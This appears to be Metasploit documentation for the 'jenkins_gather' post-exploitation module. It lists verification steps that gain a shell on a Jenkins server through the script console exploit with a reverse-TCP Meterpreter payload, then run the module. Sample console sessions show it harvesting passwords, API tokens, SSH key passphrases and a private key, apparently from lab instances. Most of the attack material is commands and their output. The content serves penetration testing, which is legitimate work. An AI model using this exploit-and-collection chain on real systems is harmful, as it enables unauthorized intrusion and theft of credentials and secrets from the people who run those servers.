## Vulnerable Application

  Official Source:
[Jenkins](https://jenkins.io/download/)

This module has been verified against:

  1. Jenkins 2.67 on Ubuntu 16.04 in Docker
  1. Jenkins 2.67 on Windows 7 SP 1
  1. Jenkins 2.60.1
  1. Jenkins 2.411 Docker image
  1. Jenkins 2.410 Windows 10
  1. Jenkins 2.410 Docker image
  1. Jenkins 2.409 Docker image
  1. Jenkins 2.401.1 Docker image
  1. Jenkins 2.346.3 Docker image
  1. Jenkins 2.103 Docker image
  1. Jenkins 1.565 Docker image
  1. Jenkins 1.56

## Verification Steps

  1. Set up Jenkins to obtain a shell (use Docker for quick setup)
  1. Run `docker run -p 8080:8080 -p 50000:50000 jenkins`
  1. Use the default setup and install "suggested plugins"
  1. Create new user admin, add a user or credential (via Manage Jenkins)
  1. Start msfconsole
  1. We'll use the `jenkins_script_console` module to quickly gain a shell
  1. Do: ```use exploit/multi/http/jenkins_script_console```
  1. Do: ```set RHOST 172.17.0.1```
  1. Do: ```set RPORT 8080```
  1. Do: ```set TARGETURI /```
  1. Do: ```set USERNAME admin```
  1. Do: ```set PASSWORD or set API_TOKEN```
  1. Do: ```set TARGET 1```
  1. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
  1. Do: ```set LHOST 192.168.56.105```
  1. Do: ```exploit -j```
  1. Do: ```use post/multi/gather/jenkins_gather```
  1. Do: ```set SESSION 1```
  1. Do: ```run```
  1. You should see the saved credentials output

## Options

### SEARCH_JOBS

  This option searches through the `jobs` folder for interesting
keywords but obviously increases runtime on larger instances.

### STORE_LOOT

  This option saves interesting files and loot to disk. If set to
false will simply output data to console.

### JENKINS_HOME
  This option can be set if we want to specify where the Jenkins
data resides.

## Scenarios

**Jenkins on Windows**

```
msf post(jenkins_gather) > sessions

Active sessions
===============

  Id  Type                     Information                   Connection
  --  ----                     -----------                   ----------
  18  shell x86/linux                                        192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
  20  meterpreter x86/linux    uid=0, gid=0, euid=0, egid=0  192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
  21  meterpreter x86/windows  NT AUTHORITY\SYSTEM @ kali    192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
  23  shell x86/windows                                      192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)

msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch: 
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  JENKINS_HOME                 no        Set to the home directory of Jenkins. Linux versions default to /var/lib/jenkins, but C:\ProgramData\Jenkins\.jenkins on Windows.
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user 
  tokens, SSH keys, and secrets. Interesting files will be stored in 
  loot along with combined csv output.


msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at C:\Program Files\Jenkins
[+] Credentials found - Username: user1 Password: Password123456
[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
[+] Job Info found  - Job Name:  User: testpass Password: secretpass123
[+] Job Info found  - Job Name:  User: testpass Password: ohwowosupersecret
[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
[*] Searching through job history for interesting bits...
[+] Job Log truffles:
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
...
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
[+] 
Creds
=====

 Username  Password           Description
 --------  --------           -----------
                                          
 testpass  secretpass123                   
 testpass  ohwowosupersecret  
 user1     Password123456     

[+] 
API Keys
========

 Username      API Tokens
 --------      ----------
 admin         8a114e0fa48c1a489c39b98e94c986c8
 useruseruser  6810c3f6ccca939ac2a8b8ac4b9de012

[+] 
Nodes
=====

 Node Name  Hostname             Port  Description   Cred Id
 ---------  --------             ----  -----------   -------
 test       hostnode1.lab.local  22    testtesttest  972fc428-dd7c-46ea-a119-be78ae0866ad

[+] SSH Key
[*]  ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
[*]  Description: interesting description
[*]  Passphrase:  secretpassphrase123
[*]  Username:    sshkey1
[*] 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
...snip...
7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
-----END RSA PRIVATE KEY-----

[*] Post module execution completed


```

**Jenkins 2.67 on Ubuntu 16.04**

```
msf post(jenkins_gather) > set session 20
session => 18
msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch:
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user
  tokens, SSH keys, and secrets. Interesting files will be stored in
  loot along with combined csv output.

msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /root/.jenkins
[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
[*] Searching through job history for interesting bits...
[+] 
Creds
=====

 Username          Password         Description
 --------          --------         -----------
 thanksforthefish  whatagreatbook

[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 admin     9da706c125a4b5a4c19b1f799723175c
 user1     859e1d6ee6ab85804434fa5395ab962d

[*] Post module execution completed
```
